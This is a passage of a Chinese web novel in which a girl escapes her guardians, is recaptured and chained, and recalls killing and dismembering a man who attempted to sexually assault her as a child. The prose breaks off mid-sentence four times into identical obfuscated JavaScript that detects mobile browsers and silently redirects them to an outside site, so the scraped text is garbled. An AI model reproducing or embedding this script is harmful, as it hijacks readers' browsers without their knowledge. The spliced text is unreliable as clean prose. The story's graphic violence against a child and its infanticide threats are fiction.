白栖枝很想问究竟是谁能手腕如此，可惜她前半生从不闻朝堂之事，也不知如今除却陛下至高至权者究竟是何人。况且，以她如今之力，就算知晓又能如何？她如今只是一介蝼蚁，除非！ ——我们都要回到曾逃离出来的地方去。 花言卿此前的话忽地在她脑海内回响。 是了，如今天下之大，她能借力者只有林家一家，可是…… 想到此前沈忘尘和林听澜的那番密谋，白栖枝犹豫了。 或许、或许，她日后还能有别的法子呢？她想，倘若回到林家，她便一世只能为笼中雀、池中雁，莫说为家中昭雪，恐怕就连踏出院门半步都不能，她又谈何借势呢？ 正在白栖枝细细思忖时，外头传来脚步乱声。 那声音由远及近，明显就是奔着她二人而来。 白栖枝“腾”地起身。 “快走。”花言卿轻推了下她的肩膀，“这些人是奔我来的，你去找个地方藏身，不要被他们发现。” 白栖枝赶紧躲到不远处的那丛灌木丛里蹲下，屏息凝神。 来者果然是长平官府人。 白栖枝只见那绣着麒麟的衣摆扫过杂草停至花言卿面前，那些人对花言卿说了很多，花言卿只是垂头抿唇一言不发，半晌，那人说得口干舌燥，低头便看见花言卿流血不止的手腕。 隐隐间，花言卿似乎说了一句什么。 四下起了风，簌簌秋叶刮在白栖枝耳畔，她没有听清。 良久，那些人将花言卿请上马车。 临走时，白栖枝看见花言卿站在马车前遥遥朝她遥遥一望，她等着花言卿同她做口型，可那人张口后却喑哑了半晌，最终还是转头进入车帷。 那辆自宫中秘密而出的马车就这样驶回长平。 白栖枝的家也在长平。 归家、归家。她想，终有一日，她也要归家。 好些事就这样尘埃落地。 白栖枝回想起花言卿之前曾与她说过的好些话，一时间迷茫不止，不知自己接下来自己独自一人又该何去何从。 “咻——” 寂静林间忽地窜出一个黑影。 白栖枝吓了一跳，赶紧捂住口鼻屏息凝神。 只见不远处草丛晃动，有东西从草间缓缓探头。 “汪汪汪！汪汪！” 是大黄啊。 白栖枝蓦地松了一口气。 她认识这只大黄狗，此前来淮安时，一路上她饿得不行，偷吃过不少狗饭，这位大黄狗就是她最后的受害者，她给她它做“大黄”，讨饶着答应以后一定要给它大骨头吃，这才没被它狠狠咬上一口。 显然，这位“大黄”也在第一眼时就认出她来，想着这个坏东西不仅没给它带好吃的肉骨头，还把自己弄得脏兮兮的，一定是还要偷吃它的狗饭，这才对她止不住地大叫。 原来自己已经跑到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350915|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里来了。白栖枝暗暗地想。 想着，她从怀中拿出一块小酥饼——这是她从神女庙里“借”来的，好在神女在民间还有信徒，不然她和花花这几日肯定要饿肚子了。 “喏，大黄，给。”她蹲下，将酥饼递了过去。 大黄嗅了嗅，露出不满的神色，但好歹没有再叫，朝她手上的酥饼走来，一点点咬食着。 白栖枝摸了摸它的脑袋：“对不起啊大黄，说了要给你带肉骨头，结果却没有做到，就只能用这个让你消消火啦。你不要怪我哦，等下次见面，我一准儿给你带好吃的大骨头，你不要叫，也不要咬我，乖乖等我，等我以后出息了，天天给你带好吃的吃。” 面前，大黄不语，只是一味地吃饼。 “大黄？大黄！” 远处传来老妇人悠长的呼唤声。 “嘻，原来你真叫大黄啊，怪不得我那时候叫你你能听得懂呢。”白栖枝开心地拍了拍狗头，将整张饼让它叼着，嘱咐道，“快回去吧，不然你家人该担心了。” 大黄看了看她，转身朝声音来源处跑去。 很快—— “大黄！你怎么又去偷吃别人家的东西！两年前你也是！吃完了自己的狗食儿不够还要去别人家的偷东西吃！还看？自己犯错还敢看我，真是，我就该好好教训教训你！” 随后传来的就是大黄挨打的委屈叫声。 这声音里三分是吃痛，七分是撒娇，听起来像是屁股被狠狠拍了两巴掌。 白栖枝忍不住“嘻”了一声，随后赶紧捂嘴，内心默念“怪罪怪罪”，才挪动步子又朝林间跑去。 天很晚了。 不管怎样，还是先找个能让她休息一晚的地方再说，明天还要接着赶路呢！ 林听澜是在白栖枝失踪十天后才得到关于她行踪的消息的。 “大爷，据人来报，曾在城东见过白小姐的身影，您看……” 下人来报时沈忘尘就在林听澜身侧，林听澜下意识看向他。 沈忘尘：“快去！” 沈忘尘本想让林听澜一人独去，哪成想那人非要带他一起，他拼命挣扎但毫无用处，只能任凭自己被林听澜抱上马车。 原本林听澜一人可以很快就到，但因为有个他在，马车便不得不放缓，沈忘尘不明白林听澜为什么一定要带自己去，明明在这种事情上他只能是个累赘，除了拖累他们无一用处，反倒会让他错失良机。 可林听澜说：“这事儿既然是我们一同密谋，那就更应该你我两人都到场给枝枝一个解释。况且忘尘，”他看向沈忘尘，“比起见到我，你不觉得，她更想见到你么？” 沈忘尘一时哑然。 虽然他心思有异，但这两年来的陪伴教导做不了假，说能一下子断的干净他肯定做不到，他还是想见见白栖枝的。 不管小姑娘想不想见他、会不会原谅他，他还是想看她一眼，哪怕远远的也好，让他知道她现在如何，不在府内的这段日子里有没有受欺负，身上有没有再多添几道伤疤，甚至只是活着能远远让他看上一眼就好。 他只看上一眼就好。 108. 捉回 如血残阳缓缓落下，天幕被染成墨汁般的黑。 除了月光与星光，荒凉的寺庙外没有一丝亮光。 造神弑神是人的本性。天上神佛万千，但在凡间，崇祂退祂还是由人说了算。 林听澜想：这种夜里，白栖枝肯定要找一处安身之所，而城东最边上，正好有一间破败的佛庙可以为人遮风避雨——白栖枝一定会到这儿来。 他抱着沈忘尘匆匆下了马车，静谧的夜里没有一点声响。 “不要管我，快去。”沈忘尘没力气地推了下他。 林听澜刚想开口，就听见破庙里传来一丝尖锐的惨叫 两人心皆是一紧。 林听澜率先转头就往庙里奔，沈忘尘则被下人推着急匆匆来到寺庙门口。 阴冷的月光下，林听澜瞪大双眼—— 破庙内，一个混混似的男人正躺在地上捂着手指哭嚎，而在他指缝间，鲜血水一般地溢了出来，在地上落下好大一摊猩红。 他顺着男人跪磕的看去，就见着一个衣衫破烂的小姑娘发丝凌乱地垂着头，混着杂草似得青丝纠缠得如同蛛网一样，遮盖住她的面容。破庙内断瓦残垣遮不住月光，银色的光辉落在她身上，如同冬日里最冷的雪一样。 小姑娘缓缓抬头，露出一张脏兮兮的、满是红痕的素白小脸。 此人不是白栖枝还能是谁？！ “唾。” 林听澜只见她从口中唾出一小节指骨，鲜血混着唾液血腥黏腻，跌在杂草上甚至还拉出了淡红色的丝。 下一秒—— “枝枝！” 随着一声唤，白栖枝动作一顿，转头朝林听澜看去。 在她身下，混混面色惨白，在路上磨得锋利的木簪距离他的动脉只有不足一寸，簪锋尖锐，只要再靠近一点点，他的脖子上就会出现一个骇人的血窟窿，如同宋长宴在破庙内看见的那具尸骨一样。 此时的白栖枝宛若一只嗜血又狼狈的小兽。 她看向伏在门上重重喘息的林听澜，又看了看庙门口怔怔望着她的沈忘尘。 未等两人开口，她下意识摇晃着起身，跌跌撞撞就要往别处逃。 “枝枝！”发出这一声唤的人是沈忘尘，他病了多日，这一声唤几乎要将他的五脏六腑都呕出来。 白栖枝蓦地顿住脚步。 两人逆着月光朝她望，就见着她原本瘦小的身影上全是伤。 此时正是好时机，按理说，但凡林听澜多往前跑两步，或者他一声令下叫下人们上前团团围住，白栖枝都跑不了。 可他们偏生谁都没说话，就静静地看着顿在那处的白栖枝，如同在看一件易碎的珍宝，生怕自己上前一步她就会碎掉。 “枝枝，我们回家好不好？”林听澜感觉自己的声音在发抖，“我和你沈哥哥在家里准备了好多你打小儿就爱吃的东西，还有糖葫芦，林哥哥请你吃糖葫芦好不好？枝枝，别跑了，跟我们回家好不好？我们再也不会逼你学你不喜欢的东西了，我们再也不会强迫你困在宅子里好不好？我听、我听你沈哥哥说你想出去住，我们两个一起帮你找宅子给你付僦钱好不好？枝枝，别跑了，我们回家吧。” 从前白栖枝围在身边时林听澜并不觉得多她一个少她一个如何，可这几日白栖枝不在，他总觉得宅子里好像少了些什么，寂寞的，落寞的，少了许多生气儿。往日，尤其是用膳的时候，白栖枝总会跟一只俏皮的小白鸟一样叽叽喳喳说个不停；而等到三人一起在书房里算账本的时候，她又会抱着她那把香楠木算盘看着账本上的密密麻麻的数字愁得直揉脸。 两年的时间足以养出好多习惯，他们既已习惯了白栖枝的存在，就再难接受白栖枝的离开。 因此，在白栖枝不在的这些日子，就连他和沈忘尘都很少在房里谈天。上行下效，整个府里都跟死一样，完全没有了往日的生机，显得格外落寞。 林听澜祈求地看着白栖枝，希望她能听话地同他们回去，可是—— “骗子……” 月色里，白栖枝压抑着哭腔吐出这句话。 是了，他们都是骗子，她以为沈忘尘是真的对她好，结果他只想要她的子宫孕育出属于林家的子嗣；她以为林听澜是真的对她好，结果他却纵容着想要用那纸婚契将她困在林家永不得出。 白栖枝不可否认两人对她的收养之恩，虽说滴水之恩当涌泉相报，但是—— 他们没资格就这样囚住她的一生。 更何况昔日白家对林家的恩情还没有被偿还，只是两年的收养之恩罢了，不够！ 她要你林听澜把林家欠白家的还回来，父债子偿，她要把他们一家欠阿爹的都还回来！ 可这些话，白栖枝到底还是没有说出口。 他们都是骗子。她想，就算他们再怎么花言巧语、巧言令色，她也不会再相信他们了。 白栖枝漠然转身，就在林听澜以为她要和他们回去的时候。 “叮——” 有金属骤然砸地的声音。 林听澜默然看着自己面前的金镯子，那是白夫人留给白栖枝的最后的遗物。 白栖枝竟将自己最珍惜的镯子扔给了他，随即不顾他二人的神色，头也不回地奔进前方一片漆黑如雾的夜色里。 断尾求生。 林听澜满脑子都是这个词。 为了和他们两清，白栖枝居然连阿娘的遗物都不要了，就为了偿还他们这几年的恩情，就为了和他们划清界限，她居然连自己阿娘的遗物都不要了！！！ 上一次她露出如此决绝的眼神，还是在雪地里一枚一枚抠铜板的时候。 那时候，她哭着蹲在雪里捡那些被林听澜打落的铜板，手指冻得发红发紫也不顾，还是林听澜看不下去出口阻止，她才顿住。 ——别捡了，大冷天的，差多少我补给你就是了，我林家金山银山的，难不成还能亏了你？上车！ ——我不要。这是我自己赚的，是我的钱，我不要你施舍。 那时她倔得厉害，珍珠大的泪滴掉在雪里能融出一个水窟窿来。林听澜想，他大概就是在那时候才心软的，要不然他怎么会做出那种一起跟她蹲在雪里捡铜板的傻事？ 思绪收回，林听澜俯身捡起那只金镯子。 他闭上眼，从肺腑里挤出一口浊气来，在薄凉的月色下吐出一口薄雾，随即看向身后的沈忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355432|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘。 后者亦是一片默然。 镯子被递出的刹那，一只温润如玉的手接过了它，如从前白栖枝掏出手帕帮他擦掉洒落到他衣裳上的粥液般小心翼翼地将它擦净。 一秒……两秒……三秒…… 直到第十秒过去，沈忘尘才闭着眼从口唇中费力挤出一字—— “追。” 那一晚，两人毫无所获地打道回府，直至第二日晌午，白栖枝才被扭送回来。 一晚上，她像个兔子一样东躲西逃。 都说狡兔三窟，她这几日逃亡，几乎将淮安的每个小巷子都摸索了一遍，对这边的地形十分熟悉，往往在那些人将要抓到她时将头一扭，又躲进另一个小巷子里，令人实在是摸不着影踪。 之所以最后抓到了她，是因为她在逃亡时不小心撞到了一个挑着扁担的老伯。 两人相撞，老伯的菜洒落一地，白栖枝赶紧道歉扶他起身，这才耽误了时间被林家的家仆抓到。 被围堵后，她认命地提了口气，说：“帮帮忙，看在我这么倒霉的份儿上，帮我把老伯的菜捡起来装好吧。” 到底是她那无用的良心害了她。 一切结束，她就被人扭着胳膊送回了林府，迎接她既定的宿命。 被送到两人面前的时候，白栖枝真的狼狈极了。 她的头发被扯乱，衣裳被撕破好多，连带着那张一向白净可爱的小脸都多了好几道红痕血痕。 气氛一直很沉默。 白栖枝自知跑不了也跑不得，乖乖被扭着跪在地上，垂着头，不去看两人或许怜悯或许嘲讽的神情，直到她的脸被下人狠狠地抬起，她才从凌乱的发丝间露出那双黑白分明的眸子恨恨地看着面前两人。 两人就这样看着他，眼里有愧怍也有心疼，良久，还是沈忘尘将视线凝在她眉心，温声问道：“枝枝，你的红痣呢？” “被我剜下去了。”白栖枝答得镇定。 好像那不是她身上的一块肉，而是一件微不足道的首饰，扔了也就扔了，没什么好心疼的。 沈忘尘用手帕包裹住食指，伸手，想刮去她脸上血痕，却被白栖枝猛地撇过头去。 “被你们抓住，是我技不如人，成亲也好，诞下子嗣也好，这事儿由不得我。但是，”她平静地冷声道，“就算我生下那孩子，终有一日我也会把它剁碎了包成角子给你们吃，生一个剁一个，生一双杀一双，只要我还活着，我必不会让那孩子活在世上，我要你们亲口吃下你们的骨肉，我要你们永不能得偿所愿。” 白栖枝早就不是什么娇养在闺中不知事的小姑娘了——她杀过人，甚至不止一两个，从长平到淮安的路程太长，其中发生过的事她想都不敢再回想——她以为她到了林家，只要继续装作从前那副无辜纯善的模样，她就可以真的再做回那个那个被养在府邸天真友善的白栖枝。可……不是的，就算她拼命想遗忘，那些污秽之事还是会像阴影一般缠绕着她、折磨着她，叫她永不得安宁。 她做过那么多孽，她早不是个东西了！所以事已至此，她再多做些孽又怎样？ 白栖枝想： 她总不能叫那个孽子真的活在世上。 109. 罪孽 白栖枝又被“请”回了后覃房。 说是请，其实是林听澜为了防止她再套，将她绑了进去。 狭窄的后覃房内阴暗逼仄，林听澜进去的时候，白栖枝的手脚都被铁链锁在床上，她就这样静静地床沿儿，赤着一双脚，白嫩的皮肤在之前逃亡时划得满是血痕，镣铐在她脚踝上锁着，不一会儿就将她的皮肉磨得赤红——俨然是一副刑犯的模样。 林听澜进来的时候，门被打开一个缝儿，有阳光从缝隙里探头，斜斜打在白栖枝脸上，刺得她那双习惯了昏暗的眼好痛。 白栖枝将眼觑了起来，没有侧头去看。 林听澜一挥手，叫人把门关严。 “大爷……”小厮害怕白栖枝突然发狂加害于他，可林听澜只是皱着眉头不耐烦地给了个“赶紧走”的手势，小厮没法子，只能离开且关好房门。 偌大的房间内只剩下白栖枝和林听澜两人。 下人说，白栖枝被梳洗的时候一直都很乖很安静，一句话都说，哪怕是被热水不小心浇到了流血化脓的伤口，她也都只是咬着下唇啪嗒啪嗒地掉眼泪，一句疼也不说。 可白栖枝不是这样的，她从来就不是这样什么都能忍下去的人啊！ 这一点林听澜比这世上活着的任何一个人都清楚：白栖枝是个娇气的，打小儿就怕痛，莫说摔了磕了，哪怕是被蚂蚁蚊虫咬了，也要哭上好久——她最见不得的就是受伤了。再后来，她从长平来到淮安，他说她打她她都会像一只发怒的小兽一样，哪怕是再狼狈，哭着闹着也要反驳他，告诉他这样是不对的，他不应该这样对她。那时候林听澜只觉得她烦，到底是寄人篱下，她凭什么敢那样对他？后来再一想，她从长平逃到淮安来，路上收了多少委屈挨了多少的疼他想都不用想，如今好不容易见到了自己打小儿就亲热的人，结果还要遭受那样的对待，换做是谁都会委屈。可他居然把她的委屈当做是她的不懂事，还要打她骂她…… 他真不是个东西！ 白栖枝这几日清减得厉害，瘦的恨不得只剩下一把骨头，林听澜轻手轻脚地走到他面前，连一声沉重的喘息都不敢出，生怕震碎了面前这脆弱又易碎的人儿。 但来到她面前，看着那张青涩褪去，平添风霜的小脸儿，林听澜才意识到白栖枝长大了，再也不是那个从小儿受了委屈、挨了疼就哭得满脸鼻涕眼泪的小丫头了，再也不是那个会跟在他身后傻兮兮地笑着问他今天过得好不好，明天会过得好不好，后天会不会过得更好的小丫头了。她长大了，真的长大了，无论是从身体上还是性格上，她已经十六了，她真得长成一个大姑娘了。 “枝枝。”林听澜伸手想摸摸白栖枝的头，可他刚一伸手，白栖枝就跟下意识的反应一样，用上了锁链的双手紧紧挡在自己面前，偏过头去不敢看他。 锁链随着她的动作惊慌的“叮叮当当”声，林听澜心都要被碎了，但下一秒，白栖枝的话却彻底让他的心碎成好几块碎片。 白栖枝喃喃地说：“别打我……” 林听澜一下子湿了眼。 他不知道白栖枝这些天受过什么委屈，但在寺庙的那一刻，他看见她破烂的衣衫，看见她被揪得凌乱的长发，看见她脸上的红痕，他就明白，白栖枝一定过得很不容易。这几天尚且如此，更何况那两个月的时间？ 所以，当白栖枝说她杀过人的时候，林听澜第一反应不是害怕而是心痛。 他最了解白栖枝的为人了，她小时候善得两个蚂蚁都不敢碾死，她怎么可能平白无故地杀人？ 确实如他所料，白栖枝那时候的确所杀非人—— 她第一个杀的人是一个独眼瘸子，他强行拽着白栖枝的脚踝就把她往小树林子里拉，要把她绑回去给她生孩子。 那一天，白栖枝被人按在地上，她的脚踝被人死死攥着手里，她叫阿娘，她叫阿爹，她叫阿兄，她哭啊喊啊都没有人来救她。指甲在地上用力的抓着，林子里的石子多，她的指甲甚至被嵌在地里的石头生生撬离骨肉，她的缝隙里流出好多的血来。地上，十个可怖的抓痕里每一道浸润的都是她的泪与血血。可是，没有人来救她，谁都没有来救她，她就这样被人拖进了小树林里。 那一丛灌木中，男人坐在地上，当着她的面褪去裤子，抓着她的后脑勺就往自己□□按。白栖枝不知道那是什么东西，只眼睁睁地看着它立得骇人，她闭眼拼命挣扎，双手撑在地上不让自己的面颊触碰到那物。 可男人还在一个劲儿地把她的脸往那里压，那时候的白栖枝才十三岁，相较于一个男人，她可没有多少力气挣扎。慌乱中，她拔下自己的簪子——那钗子一路上被她日夜打磨，虽然不锋利，却也能捅穿人的皮肉——她攥着簪子就往男人身前插！ “你个臭婊子！你！” 好死不死的，她那一簪子正好捅上了男人的心脏。 霎那间的松力，白栖枝不敢停下，她闭着眼，趁着男人慌忙捂住心口的时候，一下子骑到她身上，举着簪子就往男人胸腔上插！ 一下、两下、三下…… 白栖枝不敢睁眼也不敢停下，泪从她的眼皮缝儿里落下，砸在那堆瘫软的血肉上，才她颤抖着睁眼，看着身下那具被自己插得血肉模糊的尸体，脑袋跟挨了一棍子似得空白的发麻。 她杀人了…… 她杀人了！ 她杀人了！！她杀人了！！她杀人了！！她杀人了！！她杀人了！！ 她杀人她杀人她杀人她杀人她杀人她杀人她杀人她杀人她杀人她杀人她杀人她杀人！！！ ——她该被杀了！ 白栖枝吓得一下子跌坐在地上，用手死死地捂住嘴，不敢呜咽出声。 她怕。她好怕。她怕被人看到，她怕吃官司，她怕还没等为家里昭雪她就要先被杀！ 没有人比她更熟知律法，没有人比她更知道被发现的结局有多么惨烈。 她慌乱地用裂了指甲的手去刨土坑…… 可她刨不动！她刨不动啊！！！ 白栖枝哭了一会儿就不敢再哭了，因为她没时间哭了。 听说、听那个瘸子说，这个林子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360841|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里因为经常有野兽出没，所以没有人会来，他家就住在林子旁边儿。 只要、只要把他喂给野兽就好了吧？只要让野兽吃了她就好了吧？ 白栖枝空白的脑海里只有这一个想法，她甚至不知道她是怎么拖着那具沉重的尸体找到那间小屋的。 她更不知道自己第一次杀人，怎么就能学会将人分解。 一开始血腥气熏得她吐了好几次，可是没办法，她只能边吐边处理，到最后她麻木了，甚至闻不到血腥气了，就渐渐地熟稔起来了。 头颅被埋在树下，其余的地方分散着扔到林子里喂野兽，剩下的则是一把火。 茅草屋里起了火，火光冲天，像极了家中人被贼人砍断肢体时的惨状。 白栖枝想：她居然没有疯……她居然还没有疯。 她低头，看着自己鲜血淋漓的双手，漠然地走去一旁的小溪里净手。 看着血顺着水流越飘越远，她想，其实她早就疯了。 ——在亲眼目睹家人惨死的那一刻，她其实就已经疯了。 ——只是她一直以为自己没疯而已。 ——她其实早就疯了。 涣散的目光渐渐聚拢，看着面前一脸心痛的林听澜，白栖枝渐渐放下手。 她看着林听澜，淡淡地说： “林听澜，我会杀了你的。” 自从那天后，林听澜就没再来看过他，送来一日三餐的是春花。 她总是红着眼，进来，放下吃食后又出去，小心翼翼地，不敢同白栖枝说上一句话。 白栖枝知道，是那两人不要她同自己说话，他们在等，等自己松口，松口说嫁到林家。 他们都是骗子，嘴上说着怜惜她，摆出一副假惺惺的神态，其实他们没一个会真的心疼她。 她知道的：虽然那段时光很快乐，但是，她一直都是一个人。 没有人会在乎她。 没有人能和她感同身受。 一连被困了好几日，后覃房的窗被钉得死死的，阳光透不进来，白栖枝也不知道外面到底是黑夜还是白天，她只能根据春花一日送三顿饭的频率来算究竟过了多少天。 不止如此，连带着春花外面逐渐变冷的空气，也都在昭示着她被困在这个阴暗的房间里已有小半个月了，她没有出去的可能了。 白栖枝认命，且她也没那么要脸。 这几日来，林家送来的饭她还是会吃下去。 她可不是那种为了什么狗屁骨气，就断吃断喝自寻死路的蠢货—— 她要活！ 她得活！ 现如今白家只剩下她一个，她就必须得活着！！！ 就这样呆着、呆着，苟活着、苟活着，沈忘尘来看她了。 这几日，白栖枝的手脚早已被铁链磨破，血肉血淋淋地外翻着，旧伤结了新痂，新痂又被磨出新伤。 而就在这样狼狈的情况下，那个初见时翩然若谪仙，如今一见还恍若当年的沈忘尘来看她了。 他说：他想来看看她了。 110. 难过 白栖枝不知道该说什么，所以她什么都不说，只是沉默着，甚至不去看沈忘尘一眼，只狠狠地扒拉着碗里的饭。 林听澜曾经嫌弃过她吃相很凶，跟狗一样——可她就是野狗，会吃人肉的那种。 她就是只没有家的野狗！ 想着，白栖枝吃着自己手里的眼泪拌饭，一切都恍若她第一天进林家那样，她还在沈忘尘面前吃着眼泪拌饭，狼狈得像一只丧家犬。 但一切都不一样了，那时候的她以为沈忘尘是好人。可现在，她真的还能麻痹自己，这个坐在她面前的、想要捆住她一生的魔鬼，还是当年那个会在大晚上和人一起来给她送热乎饭菜的好人吗？ 一切都不一样了。 白栖枝等着沈忘尘来羞辱她，可是没有，那人窸窣着动了半晌，突然—— “咚！” 地面发出沉闷的一响，那是膝盖重重锤地的声音。 白栖枝下意识心头一紧地往前望，黑暗里，沈忘尘用他那双瘫废已久的双腿跪在地上，垂着头，不知道在想什么。 “对不起，枝枝，对不起……”他说，“是我不好，”他不再自称为沈哥哥，“是我为了一己私念将你推到如今这番境界，是我错了枝枝，我不求你原谅我，我……” 这时候，应是有千言万语都要说，沈忘尘平生自诩自己这一张唇舌最为灵巧，可当他来到这儿，看到白栖枝的一刹那，纵有千言万语他也只会打碎往肚子里咽，哪怕划得干瘪的胃朊鲜血淋漓他也只能自食恶果，这是他该着的报应。 后头，他又说了许多忏悔的话，句句真切、字字泣血，恨不得用自己的一辈子来同白栖枝认错，可可白栖枝只是默然地盯着他看，苍白的小脸儿上尽是冷漠。 这几日白栖枝的脑子里一直是空白的，空白到什么念头都没有，现在虽然是在看着沈忘尘跪在她面前忏悔，看着他被冰冷的地面冻得几乎要发病，可她还是什么都看不到、听不到，甚至都感觉不到自己手腕、脚踝上血痂又被磨得血肉模糊的痛。 她就像如同丧失了五感一样，木偶一般漠然地坐在这里，垂着眼看向跪在地上的沈忘尘。 直到沈忘尘忏悔完，白栖枝涣散的眼瞳里才渐渐有了一个焦点。 那焦点落在沈忘尘那双瘫废的、不及她手臂般粗细的腿上，静静的，如同在看一节枯枝，没有什么神色。 良久，她喃喃着，也不是对自己说还是对沈忘尘说，她说：“可是沈忘尘，我是真的心疼过你……好难过啊……”她不知是不是在哭地笑了一下，一双杏眼里登时淌起了泪花，“我是真的心疼你……” 可是我是真的心疼过你。 可是我是真的喜欢过你。 真的…… 我是真的喜欢过你。 白栖枝突然觉得自己好蠢啊，在当年沈忘尘撺掇着和林听澜一起给她枕头下塞红包的时候，在那个晚上三人一起仰头看烟火的时候，在沈忘尘运筹帷幄地指导她为她出谋划策的时候，她是真的有很认真很认真的喜欢着她，跟个见不得人的外室一样，她是真的有喜欢过他。 可是…… 可是她太知道她想要什么了，她太知道自己的处境了，所以她不敢说，只敢在两人单独相处的某个时刻偷偷瞧他——谁会不喜欢这样的人呢？又好看，又干净，又学富才高，又不会涉足她的私事，还不嫌她笨、不嫌她蠢，一步步地、手把手地指引着、教导她该怎么做、要怎么做、怎么做才能做到更好。 这是个专门的、精心的为她设计过的圈套，她那时还太小，小到即使她从第一眼就看出这人是她的同类，她还是依旧相信着他，在他身后亦步亦趋地随着他的脚步一点点上前，心疼着他的过往，心疼着他那残缺的身体，甚至在隐约看见他那如火似的、隐约落在自己小腹上的目光时，她也还是在麻痹自己说他是个好人。 可是好难过啊，她是真的心疼过他……她是真的喜欢过他。 白栖枝本不想流泪的，她以为她的泪都流干了，可听到沈忘尘如当年般呢喃地唤着她的闺名，她还是不争气地哭出来了。 ——栖枝，也可以唤我枝枝，我爹娘一直这么唤我的。 ——好，枝枝。枝枝方才说自己读过书，习过字，可都学过些什么？” ——唔……只读过《诗经》《论语》《弟子规》《道德经》一类的书，勉强识得几个字罢了。 ——是读的私塾还是专门有先生上门来教？ ——是先生上门教的。 ——这样么…… 那时的他略微思忖了下，随即笑着问她道：“不若以后我来教你习书如何？” 好难过啊，明明她一直是真心的，明明她一直都想要对他们很好很好的，可为什么他们三个会沦落到如此境地呢？ 究竟是怎么变成这样的呢？ 白栖枝不知道，她只看见在那句话被她脱口而出后，沈忘尘脸上惊愕了一瞬。 随即，她在笑，他也在笑。 可不知道为什么他们都能看见对方面儿上止不住的泪水。 沈忘尘说，他再也不会锁着她了，他说枝枝你走吧，走得远远的，不要回来，不要再看到他。 他说：“枝枝，此后天高路远，快走，不要回头。” 身上的枷锁被打开，白栖枝活动了下几乎僵死的手脚。 “可是……”她说，“还有一笔账没有算呢。” 还有一笔账没有算呢。 欠条被举到面前的瞬间，林听澜一眼看到的不是那落款处他爹白纸黑字签下的姓名，而是白栖枝那早就不知道被磨破了多少回的手腕。 他说：“去叫人上些药吧。” 白栖枝说：“不要说这些有的没的。”她一脸淡漠，“父债子偿，我要把你欠我们白家的还回来。这笔债还完，从此你我两家一干二净、再无瓜葛。” 沈忘尘方才叫人给她开锁后便昏死在地，被下人赶紧送回房中养着。 他不在，白栖枝直言不讳道说，“林听澜，这不正是你们想要的吗？” 林听澜咬了咬毫无血色的下唇：“再等等，枝枝，再等等我好吗？我……我最近需要下海谈一场生意，等这场生意谈完后，我一定将欠你的尽数清算，好吗？” 他下意识想去拉白栖枝的手，像白栖枝小时候想要拉他的手一样，被冷漠地避开了。 林听澜只能道：“最近去往西洋的那批货出了点差错，上头需要我当面去处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367728|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下，我明日就得走。我知道枝枝你不想听这个，可是……”他顿了顿，“忘尘他身子不好，我不在的这几天怕他身旁没别人照顾。看在她教导你两年的面子上，帮我照看他两天，可以吗？” 怕白栖枝不同意，他又赶紧补道：“还有家中，除了你和忘尘，我再没有放心的人可用了。你知道我一走，家中再没人坐镇，那些宗族长老们便会蜂拥而上，他们每日都在虎视眈眈地盯着林家这块肥肉，恨不能一天撕咬下去一大块，倘若我将家中诸事交付给他们，估计林家不日便要败落。枝枝，看在当年两家父母的面子上，你再等等，好吗？” 他这时倒是顾上两家父母的面子了。可白栖枝还记得，当年他在两家父母看不见处是怎么对她的，她从不追究，但并不代表她不记得。 “好。”出乎意料的，白栖枝答应了，但她又说，“但你要记得给我结工钱，要按照林府管家的两倍给我开。林家家大业大，想必你不会连这点钱都舍不得吧？” “好。”林听澜一口答应下来。 半晌，他还是伸出手，不顾白栖枝恼怒厌恶的神情，摸了摸她的发顶。 之前林听澜知道白栖枝长大了，可手落在出乎意料的高度时，他才真真切切的意识到白栖枝长大了，不是那个还没有他腰高的小孩子了。 白栖枝倒也没拍开她的手，忍着难受劝自己这是最后一次。 从此以后，她与他们再无相见！ 怀揣着这种念头，白栖枝去看了眼沈忘尘。 岁近冬日，加之方才跪地着凉，那人又发起了高烧，烧得迷迷糊糊，连带着房间里都弥散着不好的味道。 